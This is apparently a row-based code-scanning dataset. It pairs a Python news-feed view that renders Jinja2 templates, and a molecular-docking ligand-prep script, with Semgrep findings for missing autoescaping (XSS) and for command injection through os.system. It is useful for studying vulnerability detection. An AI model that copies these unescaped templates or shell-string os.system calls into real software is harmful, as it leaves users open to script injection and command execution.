self.event_template = self.env.get_template(WEBVIEW_EVENTS_TEMPLATE)
self.error_template = self.env.get_template(WEBVIEW_ERROR_TEMPLATE)
def newsModelHeaderToJSON(self, newsModel):
"""
Places a representation of passed newsAndEventsModel into the dictionary
@param newsModel: the model to be encoded
"""
categoryDict = {}
for category in newsModel.getCategories():
categoryDict[category.getID()] = category.getName()
sendDict = {
"isEvent": False,
"publishedDate": str(newsModel.getPublishedDate()),
"title": newsModel.getTitle(),
"categories": categoryDict,
"link": newsModel.getLink(),
"description": newsModel.getDescription(),
"imageURL": newsModel.getImageLink(),
"id": newsModel.getID()
}
return sendDict
def eventModelHeaderToJSON_NewsMainScreen(self, eventModel):
categoryDict = {}
for category in eventModel.getCategories():
categoryDict[category.getID()] = category.getName()
sendDict = {
"isEvent": True,
"publishedDate": str(eventModel.getPublishedDate()),
"happeningDate": str(eventModel.getHappeningDate()),
"title": eventModel.getTitle(),
"categories": categoryDict,
"link": eventModel.getLink(),
"description": eventModel.getDescription(),
"imageURL": eventModel.getImageLink(),
"id": eventModel.getID()
}
return sendDict
def eventModelHeaderToJSON_EventsMainScreen(self, eventModel):
categoryDict = {}
for category in eventModel.getCategories():
categoryDict[category.getID()] = category.getName()
sendDict = {
"publishedDate": str(eventModel.getPublishedDate()),
"happeningDate": str(eventModel.getHappeningDate()),
"title": eventModel.getTitle(),
"categories": categoryDict,
"link": eventModel.getLink(),
"description": eventModel.getDescription(),
"imageURL": eventModel.getImageLink(),
"id": eventModel.getID()
}
return sendDict
def newsFeedHeadersToJSON(self, news, itemCount, lastChanged, hasNextPage):
"""
Encodes all NewsAndEventsModels within the list news as JSON
:param itemCount: the number of items for the filter settings
:param hasNextPage: whether for the filter settings there exists a next page (for continuous scrolling)
:param lastChanged: timestamp of the last time something in the news categories changed
:param news: a list of NewsAndEventModels to convert into JSON
"""
to_send = {"itemCount": itemCount,
"hasNextPage": hasNextPage,
"categoriesLastChanged": str(lastChanged), "items": []}
for newsItem in news:
if isinstance(newsItem, NewsModel):
to_send["items"].append(self.newsModelHeaderToJSON(newsItem))
elif isinstance(newsItem, EventModel):
to_send["items"].append(self.eventModelHeaderToJSON_NewsMainScreen(newsItem))
return json.dumps(to_send)
def toWebViewNewsItem(self, newsItem):
"""
@param: newsTemplate: It is a dictionary of different items from the news JSON. It has,
title: that describes the title of the news,
category: that has the category of the event or the name 'news' itself,
publishedDate: that says the data on which the news information is published,
image: if the news item has an attached image,
description: that has a short description of the news,
content: that has more information about a particular news,
this dictionary is then rendered into a web page using jinja. For more documentation,
open https://jinja.palletsprojects.com/en/2.10.x/
@param newsItem: to be encoded as HTML
"""
newsTemplate = dict(title=newsItem.getTitle(),
category=newsItem.getCategoryString(),
publishedDate=newsItem.getPublishedDate(),
image=newsItem.getImageLink(),
description=newsItem.getDescription(),
content=newsItem.getContent(),
link=newsItem.getLink()
)
renderedTemplate = self.news_template.render(newsTemplate=newsTemplate)
return renderedTemplate
def toWebViewEventItem(self, eventItem, language):
"""
@param: eventTemplate: It is a dictionary of different items from the events JSON. It has,
title: that describes the title of the event,
category: that has the category of the event or the name 'event' itself,
publishedDate: that says the data on which the event information is published,
happeningDate: specific to events category tha mentions when the event is happening,
image: if the event has any kind of image attached,
description: that has a short description of the event,
content: that has more information about a particular event,
this dictionary is then rendered into a web page using jinja.
For more documentation, open https://jinja.palletsprojects.com/en/2.10.x/
@param eventItem: to be encoded as HTML
@param language: str
"""
icsLink = ICS_BASE_LINK + str(eventItem.getID())
eventTemplate = dict(title=eventItem.getTitle(),
category=eventItem.getCategoryString(),
happeningDate=eventItem.getHappeningDate(),
image=eventItem.getImageLink(),
description=eventItem.getDescription(),
content=eventItem.getContent(),
link=eventItem.getLink(),
ics=icsLink,
language=language
)
renderedTemplate = self.event_template.render(eventTemplate=eventTemplate)
return renderedTemplate
def toJSONEvents(self, events, lastChanged):
"""
Returns the JSON format of a set of events
@param events: the events to be encoded as JSON
@param lastChanged: the last time the categories of the events changed
"""
to_send = {"eventCategoriesLastChanged": str(lastChanged), "items": []}
# check to make sure events contains only EventModels, then encode
for e in events:
assert (isinstance(e, EventModel)), "Each element in events should be an EventModel!"
to_send["items"].append(self.eventModelHeaderToJSON_EventsMainScreen(e))
return json.dumps(to_send)
def toJSONCategories(self, categories):
"""
:param categories: a set of categories, where each category is a string
:return: a json with a list of all categories
"""
categoryList = []
for cat in categories:
categoryList.append({"id": cat.getID(), "name": cat.getName()})
categoryList = sorted(categoryList, key=lambda x: x['id'])
return json.dumps(categoryList)
def toICalEvent(self, event: EventModel):
"""
Creates a iCal string containing just one event
@param event: EventModel
@return: str
"""
cal = Calendar()
# add required properties to calendar
cal.add('prodid', PRODID)
cal.add('version', '2.0')
# create ical event
ev = Event()
# add required properties to event
ev.add('uid', '{time}-{eventID}@{domain}'.format(time=datetime.utcnow().isoformat(), eventID=event.getID(),
domain=ICS_DOMAIN))
ev.add('dtstamp', datetime.utcnow())
startTime = event.getHappeningDate() if event.getHappeningTime() is None else event.getHappeningTime()
ev.add('dtstart', startTime)
# make the event transparent (in order not to block the calendar slot)
ev.add('transp', 'TRANSPARENT')
# add optional parameters
title = event.getTitle()
description = event.getDescription()
link = event.getLink()
categories = event.getCategories()
if not title == '':
ev.add('summary', title)
if not description == '':
ev.add('description', description)
if not link == '':
ev.add('link', link)
if not len(categories) == 0:
ev.add('categories', [cat.getName() for cat in categories])
cal.add_component(ev)
return cal.to_ical()
def toWebViewError(self, language):
errorimage = IMAGE_ERROR_URL
errorTemplate = dict(language=language,
errorimage=errorimage)
renderedTemplate = self.error_template.render(errorTemplate=errorTemplate)
return renderedTemplate
| 223 | 43.31 | 115 | 16 | 1,955 | python | [{"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_d488871e9984e8ff_1b7a80d4", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 21, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 15, "col": 21, "offset": 458}, "end": {"line": 15, "col": 64, "offset": 501}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_d488871e9984e8ff_f58770b5", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=self.imageLoader, autoescape=True)", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 21, "column_end": 64, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 15, "col": 21, "offset": 458}, "end": {"line": 15, "col": 64, "offset": 501}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=self.imageLoader, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.xss.audit.direct-use-of-jinja2_d488871e9984e8ff_1a88331b", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.xss.audit.direct-use-of-jinja2", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 16, "col": 20, "offset": 521}, "end": {"line": 16, "col": 58, "offset": 559}, "extra": {"message": "Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["flask"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.jinja2.security.audit.missing-autoescape-disabled_d488871e9984e8ff_2991d168", "tool_name": "semgrep", "rule_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "remediation": "jinja2.Environment(loader=self.loader, autoescape=True)", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": "CWE-116: Improper Encoding or Escaping of Output", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://jinja.palletsprojects.com/en/2.11.x/api/#basics", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.jinja2.security.audit.missing-autoescape-disabled", "path": "/tmp/tmpb8jm_z1l/d488871e9984e8ff.py", "start": {"line": 16, "col": 20, "offset": 521}, "end": {"line": 16, "col": 58, "offset": 559}, "extra": {"message": "Detected a Jinja2 environment without autoescaping. Jinja2 does not autoescape by default. This is dangerous if you are rendering to a browser because this allows for cross-site scripting (XSS) attacks. If you are in a web context, enable autoescaping by setting 'autoescape=True.' You may also consider using 'jinja2.select_autoescape()' to only enable automatic escaping for certain file extensions.", "fix": "jinja2.Environment(loader=self.loader, autoescape=True)", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b701_jinja2_autoescape_false.html", "cwe": ["CWE-116: Improper Encoding or Escaping of Output"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://jinja.palletsprojects.com/en/2.11.x/api/#basics"], "category": "security", "technology": ["jinja2"], "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-79",
"CWE-116",
"CWE-79",
"CWE-116"
] | [
"rules.python.flask.security.xss.audit.direct-use-of-jinja2",
"rules.python.jinja2.security.audit.missing-autoescape-disabled",
"rules.python.flask.security.xss.audit.direct-use-of-jinja2",
"rules.python.jinja2.security.audit.missing-autoescape-disabled"
] | [
"security",
"security",
"security",
"security"
] | [
"LOW",
"MEDIUM",
"LOW",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
15,
15,
16,
16
] | [
15,
15,
16,
16
] | [
21,
21,
20,
20
] | [
64,
64,
58,
58
] | [
"A07:2017 - Cross-Site Scripting (XSS)",
"A03:2021 - Injection",
"A07:2017 - Cross-Site Scripting (XSS)",
"A03:2021 - Injection"
] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.",
"Detected a Jinja2 environment witho... | [
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | NewsFeedView.py | /server/source/views/NewsFeedView.py | Ali-Alhasani/UniSaarApp | MIT | |
2024-11-18T18:39:23.384050+00:00 | 1,609,845,233,000 | 87c4064c4fa3bb900d7dd55e35951f54d1724a12 | 2 | {
"blob_id": "87c4064c4fa3bb900d7dd55e35951f54d1724a12",
"branch_name": "refs/heads/master",
"committer_date": 1609845233000,
"content_id": "5a59f92cb1aa30c15b0b1fc5da2c9e86c1ac21e8",
"detected_licenses": [
"MIT"
],
"directory_id": "e342a154d99b52f403204d56cea2dd80a2bec088",
"extension": "py",
"filename": "prep_ligand_for_dock.py",
"fork_events_count": 28,
"gha_created_at": 1388681292000,
"gha_event_created_at": 1517284843000,
"gha_language": "Jupyter Notebook",
"gha_license_id": "MIT",
"github_id": 15588586,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7491,
"license": "MIT",
"license_type": "permissive",
"path": "/Pipeline/prep_ligand_for_dock.py",
"provenance": "stack-edu-0054.json.gz:569832",
"repo_name": "CCBatIIT/AlGDock",
"revision_date": 1609845233000,
"revision_id": "25c376e9d860d50696f5e20f1b107d289ec0903c",
"snapshot_id": "ecae435ab8d3e9819848ac4bf307e5bbade00e65",
"src_encoding": "UTF-8",
"star_events_count": 19,
"url": "https://raw.githubusercontent.com/CCBatIIT/AlGDock/25c376e9d860d50696f5e20f1b107d289ec0903c/Pipeline/prep_ligand_for_dock.py",
"visit_date": "2021-04-22T06:44:38.570854"
} | 2.4375 | stackv2 | # Expands a SMILES string to a 3D structure
# in mol2 format with am1bcc charges and sybyl atom types
try:
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('out_prefix', default='1hnn/ligand', \
help='Output prefix')
parser.add_argument('inp', default='1hnn/ligand_in.mol2', \
help='SMILES string or input file name')
parser.add_argument('UseOpenEye', choices=['Y','N'], \
help='Use OpenEye toolkit?')
parser.add_argument('--RetainProtonation', action='store_true', \
help='Retains protonation state from input file')
parser.add_argument('--RetainConformer', action='store_true', \
help='Retains conformer from input file')
args = parser.parse_args()
except ImportError:
import sys
class args:
out_prefix = sys.argv[1]
inp = sys.argv[2]
UseOpenEye = sys.argv[3]
smi = args.inp
import os, inspect
dirs = {}
dirs['script'] = os.path.dirname(os.path.abspath(\
inspect.getfile(inspect.currentframe())))
execfile(os.path.join(dirs['script'],'_external_paths.py'))
command_paths = findPaths(['balloon','chimera'])
# Only necessary without OpenEye
balloon_FN = os.path.abspath(args.out_prefix + '_balloon.mol2')
charged_FN = os.path.abspath(args.out_prefix + '_AM1BCC.mol2')
sybyl_FN = os.path.abspath(args.out_prefix + '_sybyl.mol2')
def step_complete(FN):
FN = os.path.abspath(FN)
if os.path.isfile(FN):
return True
if FN==charged_FN and os.path.isfile(sybyl_FN):
return True
if FN==balloon_FN and os.path.isfile(sybyl_FN):
return True
return False
for dirN in [os.path.dirname(args.out_prefix)]:
if (dirN!='') and not os.path.isdir(dirN):
os.system('mkdir -p '+dirN)
if args.UseOpenEye=='Y' and not step_complete(charged_FN):
from openeye import oechem
from openeye import oequacpac
mol = oechem.OEGraphMol()
if os.path.isfile(args.inp):
ifs = oechem.oemolistream(args.inp)
oechem.OEReadMolecule(ifs, mol)
ifs.close()
else:
# Create a OpenEye molecule object from the SMILES string
if not oechem.OESmilesToMol(mol, smi):
raise Exception('Invalid SMILES string', smi)
oechem.OECanonicalOrderAtoms(mol)
oechem.OECanonicalOrderBonds(mol)
# Assign a reasonable protomer
if args.RetainProtonation:
for atom in mol.GetAtoms():
atom.SetImplicitHCount(0)
else:
if not oequacpac.OEGetReasonableProtomer(mol):
print 'Failed to get a reasonable protomer at pH 7.4'
oechem.OEAssignAromaticFlags(mol, oechem.OEAroModelOpenEye)
if not args.RetainProtonation:
oechem.OEAddExplicitHydrogens(mol)
smi = oechem.OECreateSmiString(mol, oechem.OESMILESFlag_Canonical)
print 'The canonical SMILES for a reasonably protonated state is', smi
# Generate conformations
from openeye import oeomega
mol_multiconf = oechem.OEMol(mol)
oechem.OECanonicalOrderAtoms(mol_multiconf)
omega = oeomega.OEOmega()
# These parameters were chosen to match http://docs.eyesopen.com/toolkits/cookbook/python/modeling/am1-bcc.html
omega.SetMaxConfs(800)
omega.SetIncludeInput(False)
omega.SetCanonOrder(False)
omega.SetStrictStereo(False)
omega.SetStrictAtomTypes(False)
omega.SetSampleHydrogens(True) # Word to the wise: skipping this step can lead to significantly different charges!
omega.SetEnergyWindow(15.0)
omega.SetRMSThreshold(1.0) # Word to the wise: skipping this step can lead to significantly different charges!
if omega(mol_multiconf): # generate conformation
# Generate am1bcc partial charges
oequacpac.OEAssignCharges(mol_multiconf, oequacpac.OEAM1BCCELF10Charges())
# Get total charge
conf = mol_multiconf.GetConf(oechem.OEHasConfIdx(0))
absFCharge = 0
sumFCharge = 0
sumPCharge = 0.0
for atm in mol_multiconf.GetAtoms():
sumFCharge += atm.GetFormalCharge()
absFCharge += abs(atm.GetFormalCharge())
sumPCharge += atm.GetPartialCharge()
oechem.OEThrow.Info("%s: %d formal charges give total charge %d ; Sum of Partial Charges %5.4f"
% (mol_multiconf.GetTitle(), absFCharge, sumFCharge, sumPCharge))
# Output file
ofs = oechem.oemolostream(charged_FN)
ofs.SetFormat(oechem.OEFormat_MOL2H)
oechem.OEWriteMolecule(ofs, conf)
ofs.close()
else:
# Conformer generation failed. Use Ballon + Chimera
print 'Conformer generation with OETools failed.'
if (args.UseOpenEye=='N') or not step_complete(charged_FN):
if not step_complete(balloon_FN):
# Run Balloon to convert from a SMILES string to a 3D structure
MMFF94_FN = os.path.join(os.path.dirname(command_paths['balloon']),'MMFF94.mff')
command = command_paths['balloon'] + ' -f ' + MMFF94_FN + \
' --nconfs 1 --nGenerations 300 "' + smi + '" ' + balloon_FN
os.system(command)
if os.path.isfile(os.path.basename(balloon_FN)[:-5]+'_bad.mol2'):
print 'Conformer generation failed!'
# Make the final out_prefixut an empty file
open(sybyl_FN, 'a').close()
if step_complete(balloon_FN):
# Select the first model from the mol2 file
F = open(balloon_FN, "r")
mol2 = F.read()
F.close()
if mol2.count("@<TRIPOS>MOLECULE")>1:
print 'Keeping first configuration in '+balloon_FN
confs = mol2.strip().split("@<TRIPOS>MOLECULE")
if confs[0]=='':
confs.pop(0)
F = open(balloon_FN,"w")
F.write("@<TRIPOS>MOLECULE"+confs[0])
F.close()
# Get the net charge based on the SMILES string
charge = 0
lc = ''
for c in smi:
if c=='+':
if lc.isdigit():
charge += int(lc)
else:
charge += 1
elif c=='-':
if lc.isdigit():
charge -= int(lc)
else:
charge -= 1
lc = c
print 'Net charge is ', charge
if not step_complete(charged_FN):
# Run chimera to get AM1BCC charges
prep_script = os.path.join(dirs['script'], '_prep_ligand.chimera.py')
command = command_paths['chimera'] + " --nogui --script" + \
" '%s --in_FN %s --out_FN %s --net_charge %d'"%(prep_script, balloon_FN, charged_FN, charge)
os.system(command)
if os.path.isfile(balloon_FN) and \
os.path.isfile(charged_FN):
os.remove(balloon_FN)
# Restore the original configuration to the charged file
if not step_complete(sybyl_FN):
if args.RetainConformer:
from openeye import oechem
if not os.path.isfile(args.inp):
raise Exception('File %s not found'%args.inp)
mol_in = oechem.OEGraphMol()
ifs = oechem.oemolistream(args.inp)
oechem.OEReadMolecule(ifs, mol_in)
ifs.close()
oechem.OECanonicalOrderAtoms(mol_in)
if not os.path.isfile(charged_FN):
raise Exception('File %s not found'%charged_FN)
mol_out = oechem.OEGraphMol()
ifs = oechem.oemolistream(charged_FN)
oechem.OEReadMolecule(ifs, mol_out)
ifs.close()
if mol_in.GetMaxAtomIdx() != mol_out.GetMaxAtomIdx():
raise Exception('Number of atoms in input, %d, not equal to number in output, %d'%(\
mol_in.GetMaxAtomIdx(), mol_out.GetMaxAtomIdx()))
import numpy as np
coords = np.zeros((mol_in.GetMaxAtomIdx(),3))
coords_dict = mol_in.GetCoords()
for a, ind_n in zip(mol_in.GetAtoms(), range(mol_in.GetMaxAtomIdx())):
coords[ind_n,:] = coords_dict[a.GetIdx()]
mol_out.SetCoords(coords.flatten())
ofs = oechem.oemolostream(sybyl_FN)
ofs.SetFormat(oechem.OEFormat_MOL2H)
oechem.OEWriteMolecule(ofs, mol_out)
ofs.close()
else:
os.system('cp %s %s'%(charged_FN, sybyl_FN))
| 219 | 33.21 | 117 | 16 | 2,183 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_ac620877", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 5, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 49, "col": 5, "offset": 1645}, "end": {"line": 49, "col": 32, "offset": 1672}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_e014560c10163856_05fc0770", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 5, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 49, "col": 5, "offset": 1645}, "end": {"line": 49, "col": 32, "offset": 1672}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_72ea7acf", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 7, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 135, "col": 7, "offset": 4763}, "end": {"line": 135, "col": 25, "offset": 4781}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: 